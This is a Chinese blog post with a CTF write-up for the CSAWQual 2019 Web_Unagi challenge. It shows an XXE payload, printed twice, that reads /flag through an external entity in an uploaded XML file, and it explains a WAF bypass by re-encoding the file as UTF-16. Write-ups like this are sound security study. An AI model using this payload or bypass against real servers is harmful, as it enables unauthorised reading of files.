buuctf_练[CSAWQual 2019]Web_Unagi

最新推荐文章于 2024-07-09 20:40:47 发布

生而逢时

最新推荐文章于 2024-07-09 20:40:47 发布

阅读量432

点赞数 2

CC 4.0 BY-SA版权

分类专栏： buuctf刷题文章标签：其他网络安全笔记 web安全 linux

本文链接：https://blog.csdn.net/m0_66225311/article/details/134058739

buuctf刷题专栏收录该内容

31 篇文章

订阅专栏

文章讲述了在2019年CSAWQual比赛中的WebUnagi挑战，涉及XXE漏洞利用，通过UTF-8转UTF-16编码绕过WAF，利用XML文件上传实现命令执行，关键在于理解编码转换和XXE攻击策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[CSAWQual 2019]Web_Unagi

文章目录

掌握知识

XXE漏洞利用，xml文件转换编码绕过WAF(UTF-8 --> UTF-16)，xml文件格式的书写

再遇到上传xml文件被拦截，就尝试修改编码再上传，换成其他的编码可能就匹配不到了UTF-16

解题思路

打开题目链接，有四个关键的导航栏，内容分别为欢迎语，用户信息，上传文件，提示flag在/flag下

其中上传文件界面有上传文件的例子，点开发现是xml文件，看来多半是上传xml文件，进行XXE读取flag的利用了

根据网页上给出的XML的代码，将所有标签都复制下来，添加XXE利用头，再修改一个标签的内容，改成&admin;为了输出命令执行的结果。这里需要添加<intro>标签，因为其他标签长度不够不能显示完整的flag值，改标签能在user界面看到。

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&admin;</intro>
    </user>
</users>

最关键的知识点就是，直接上传会被WAF拦截，这里需要用到XML文件转换编码来进行绕过，将UTF-8转换成UTF-16，使用vscode打开，直接在右下角更改编码即可。这个知识点确实第一次知道，记下来，以防后面用到。ctf考的就是知识点的积累，记得的题会，没遇到的知识点就会卡住了。上传编码后的文件，界面会输出flag了

关键payload

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&admin;</intro>
    </user>
</users>